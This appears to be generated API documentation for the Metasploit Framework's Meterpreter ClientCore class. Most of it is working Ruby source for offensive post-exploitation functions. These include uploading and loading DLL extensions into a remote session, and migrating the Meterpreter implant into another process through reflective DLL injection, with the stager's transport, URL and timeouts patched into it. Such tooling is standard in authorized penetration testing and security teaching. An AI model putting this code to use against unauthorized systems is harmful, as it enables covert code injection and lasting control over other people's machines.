class Rex::Post::Meterpreter::ClientCore
This class is responsible for providing the interface to the core client-side meterpreter API which facilitates the loading of extensions and the interaction with channels.
Public Class Methods
new(client)
click to toggle source
Initializes the ‘core’ portion of the meterpreter client commands.
Calls superclass method
# File lib/rex/post/meterpreter/client_core.rb, line 27 def initialize(client) super(client, "core") end
Public Instance Methods
load_library(opts)
click to toggle source
Loads a library on the remote meterpreter instance. This method supports loading both extension and non-extension libraries and also supports loading libraries from memory or disk depending on the flags that are specified
Supported flags:
LibraryFilePath The path to the library that is to be loaded TargetFilePath The target library path when uploading UploadLibrary Indicates whether or not the library should be uploaded SaveToDisk Indicates whether or not the library should be saved to disk on the remote machine Extension Indicates whether or not the library is a meterpreter extension
# File lib/rex/post/meterpreter/client_core.rb, line 61 def load_library(opts) library_path = opts['LibraryFilePath'] target_path = opts['TargetFilePath'] load_flags = LOAD_LIBRARY_FLAG_LOCAL # No library path, no cookie. if (library_path == nil) raise ArgumentError, "No library file path was supplied", caller end # Set up the proper loading flags if (opts['UploadLibrary']) load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL end if (opts['SaveToDisk']) load_flags |= LOAD_LIBRARY_FLAG_ON_DISK end if (opts['Extension']) load_flags |= LOAD_LIBRARY_FLAG_EXTENSION end # Create a request packet request = Packet.create_request('core_loadlib') # If we must upload the library, do so now if ((load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL) image = '' ::File.open(library_path, 'rb') { |f| image = f.read } if (image != nil) request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib]) else raise RuntimeError, "Failed to serialize library #{library_path}.", caller end # If it's an extension we're dealing with, rename the library # path of the local and target so that it gets loaded with a random # name if (opts['Extension']) library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}" target_path = library_path end end # Add the base TLVs request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path) request.add_tlv(TLV_TYPE_FLAGS, load_flags) if (target_path != nil) request.add_tlv(TLV_TYPE_TARGET_PATH, target_path) end # Transmit the request and wait the default timeout seconds for a response response = self.client.send_packet_wait_response(request, self.client.response_timeout) # No response? if (response == nil) raise RuntimeError, "No response was received to the core_loadlib request.", caller elsif (response.result != 0) raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller end commands = [] response.each(TLV_TYPE_METHOD) { |c| commands << c.value } return commands end
migrate( pid )
click to toggle source
Migrates the meterpreter instance to the process specified by pid. The connection to the server remains established.
# File lib/rex/post/meterpreter/client_core.rb, line 175 def migrate( pid ) keepalive = client.send_keepalives client.send_keepalives = false process = nil binary_suffix = nil # Load in the stdapi extension if not allready present so we can determine the target pid architecture... client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" ) # Determine the architecture for the pid we are going to migrate into... client.sys.process.processes.each { | p | if( p['pid'] == pid ) process = p break end } # We cant migrate into a process that does not exist. if( process == nil ) raise RuntimeError, "Cannot migrate into non existent process", caller end # We cant migrate into a process that we are unable to open if( process['arch'] == nil or process['arch'].empty? ) raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller end # And we also cant migrate into our own current process... if( process['pid'] == client.sys.process.getpid ) raise RuntimeError, "Cannot migrate into current process", caller end # Create a new payload stub c = Class.new( ::Msf::Payload ) c.include( ::Msf::Payload::Stager ) # Include the appropriate reflective dll injection module for the target process architecture... if( process['arch'] == ARCH_X86 ) c.include( ::Msf::Payload::Windows::ReflectiveDllInject ) binary_suffix = "x86.dll" elsif( process['arch'] == ARCH_X86_64 ) c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 ) binary_suffix = "x64.dll" else raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller end # Create the migrate stager migrate_stager = c.new() migrate_stager.datastore['DLL'] = MeterpreterBinaries.path('metsrv',binary_suffix) blob = migrate_stager.stage_payload if client.passive_service # Replace the transport string first (TRANSPORT_SOCKET_SSL i = blob.index("METERPRETER_TRANSPORT_SSL") if i str = client.ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" blob[i, str.length] = str end conn_id = self.client.conn_id i = blob.index("https://" + ("X" * 256)) if i str = self.client.url blob[i, str.length] = str end i = blob.index([0xb64be661].pack("V")) if i str = [ self.client.expiration ].pack("V") blob[i, str.length] = str end i = blob.index([0xaf79257f].pack("V")) if i str = [ self.client.comm_timeout ].pack("V") blob[i, str.length] = str end end # Build the migration request request = Packet.create_request( 'core_migrate' ) request.add_tlv( TLV_TYPE_MIGRATE_PID, pid ) request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length ) request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib]) if( process['arch'] == ARCH_X86_64 ) request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 else request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86 end # Send the migration request (bump up the timeout to 60 seconds) client.send_request( request, 60 ) if client.passive_service # Sleep for 5 seconds to allow the full handoff, this prevents # the original process from stealing our loadlib requests ::IO.select(nil, nil, nil, 5.0) else # Prevent new commands from being sent while we finish migrating client.comm_mutex.synchronize do # Disable the socket request monitor client.monitor_stop ### # Now communicating with the new process ### # If renegotiation takes longer than a minute, it's a pretty # good bet that migration failed and the remote side is hung. # Since we have the comm_mutex here, we *must* release it to # keep from hanging the packet dispatcher thread, which results # in blocking the entire process. See Redmine #8794 begin Timeout.timeout(60) do # Renegotiate SSL over this socket client.swap_sock_ssl_to_plain() client.swap_sock_plain_to_ssl() end rescue TimeoutError client.alive = false return false end # Restart the socket monitor client.monitor_socket end end # Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of. # If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this. if( process['arch'] == ARCH_X86_64 ) client.platform = 'x64/win64' client.binary_suffix = 'x64.dll' else client.platform = 'x86/win32' client.binary_suffix = 'x86.dll' end # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix) client.ext.aliases.keys.each { |e| client.core.use(e) } # Restore session keep-alives client.send_keepalives = keepalive return true end
shutdown()
click to toggle source
Shuts the session down
# File lib/rex/post/meterpreter/client_core.rb, line 332 def shutdown request = Packet.create_request('core_shutdown') # If this is a standard TCP session, send and return if not client.passive_service self.client.send_packet(request) else # If this is a HTTP/HTTPS session we need to wait a few seconds # otherwise the session may not receive the command before we # kill the handler. This could be improved by the server side # sending a reply to shutdown first. self.client.send_packet_wait_response(request, 10) end true end
use(mod, opts = { })
click to toggle source
Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers
Module The module that should be loaded LoadFromDisk Indicates that the library should be loaded from disk, not from memory on the remote machine
# File lib/rex/post/meterpreter/client_core.rb, line 145 def use(mod, opts = { }) if (mod == nil) raise RuntimeError, "No modules were specified", caller end # Get us to the installation root and then into data/meterpreter, where # the file is expected to be modname = "ext_server_#{mod.downcase}" path = MeterpreterBinaries.path(modname, client.binary_suffix) if (opts['ExtensionPath']) path = opts['ExtensionPath'] end path = ::File.expand_path(path) # Load the extension DLL commands = load_library( 'LibraryFilePath' => path, 'UploadLibrary' => true, 'Extension' => true, 'SaveToDisk' => opts['LoadFromDisk']) client.add_extension(mod, commands) return true end